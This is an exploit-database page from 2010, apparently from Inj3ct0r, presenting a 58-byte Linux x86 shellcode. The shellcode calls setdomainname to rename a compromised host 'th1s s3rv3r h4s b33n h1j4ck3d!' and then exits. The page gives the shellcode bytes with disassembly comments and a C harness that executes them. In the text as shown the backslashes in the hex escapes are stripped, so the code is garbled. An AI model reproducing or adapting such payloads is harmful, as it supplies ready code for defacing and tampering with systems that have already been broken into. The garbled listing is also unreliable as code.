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linux/x86 sys_setdomainname ("th1s s3rv3r h4s b33n h1j4

Posted on 02 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 sys_setdomainname (&quot;th1s s3rv3r h4s b33n h1j4ck3d!&quot;) 58 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================================================
linux/x86 sys_setdomainname (&quot;th1s s3rv3r h4s b33n h1j4ck3d!&quot;) 58 bytes
=======================================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Title  : setdomainname to &quot;th1s s3rv3r h4s b33n h1j4ck3d !!&quot;
Name   : 58 bytes sys_setdomainname (&quot;th1s s3rv3r h4s b33n h1j4ck3d !!&quot;) x86 linux shellcode
Date   : Wed Jun  2 19:57:34 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
greetz to : flyff666, mywisdom, kiddies, petimati, ketek, whitehat, and all devilzc0de family 
*/
#include &lt;stdio.h&gt;

char *shellcode=
		&quot;xebx13&quot;                    /* jmp    0x8048075 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x79&quot;                    /* mov    $0x79,%al */
		&quot;x5b&quot;                        /* pop    %ebx */
		&quot;x31xc9&quot;                    /* xor    %ecx,%ecx */
		&quot;xb1x20&quot;                    /* mov    $0x20,%cl */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x01&quot;                    /* mov    $0x1,%al */
		&quot;x31xdb&quot;                    /* xor    %ebx,%ebx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;xe8xe8xffxffxff&quot;        /* call   0x8048062 */
		&quot;x74x68&quot;                    /* je     0x80480e4 */
		&quot;x31x73x20&quot;                /* xor    %esi,0x20(%ebx) */
		&quot;x73x33&quot;                    /* jae    0x80480b4 */
		&quot;x72x76&quot;                    /* jb     0x80480f9 */
		&quot;x33x72x20&quot;                /* xor    0x20(%edx),%esi */
		&quot;x68x34x73x20x62&quot;        /* push   $0x62207334 */
		&quot;x33x33&quot;                    /* xor    (%ebx),%esi */
		&quot;x6e&quot;                        /* outsb  %ds		&quot;(%esi),(%dx) */
		&quot;x20x68x31&quot;                /* and    %ch,0x31(%eax) */
		&quot;x6ax34&quot;                    /* push   $0x34 */
		&quot;x63x6bx33&quot;                /* arpl   %bp,0x33(%ebx) */
		&quot;x64x20x21&quot;                /* and    %ah,%fs		&quot;(%ecx) */
		&quot;x21&quot;;                        /* .byte 0x21 */

int main(void)
{
		fprintf(stdout,&quot;Length: %d
&quot;,strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-02]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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